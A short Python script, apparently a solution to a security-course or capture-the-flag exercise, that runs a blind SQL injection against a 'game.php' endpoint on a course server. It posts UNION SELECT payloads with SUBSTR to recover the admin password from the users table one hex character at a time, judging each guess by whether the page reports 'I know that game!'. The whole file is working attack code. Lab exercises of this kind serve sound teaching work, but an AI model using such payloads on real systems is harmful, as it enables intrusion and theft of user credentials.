import requests

url = 'http://csce465shell.martincarlisle.com/problem/34877/game.php'

s = "0123456789abcdef"
p = ''

for i in range(1, 9):
    for c in s:
        data = {'id': "0' union select name,password from users where name='admin' and SUBSTR(password, "+str(i)+",1)='"+c+"';\"#'", "debug": 0}
        x = requests.post(url, data = data)

        if 'I know that game!' in x.text:
            p += c
            break

print(p)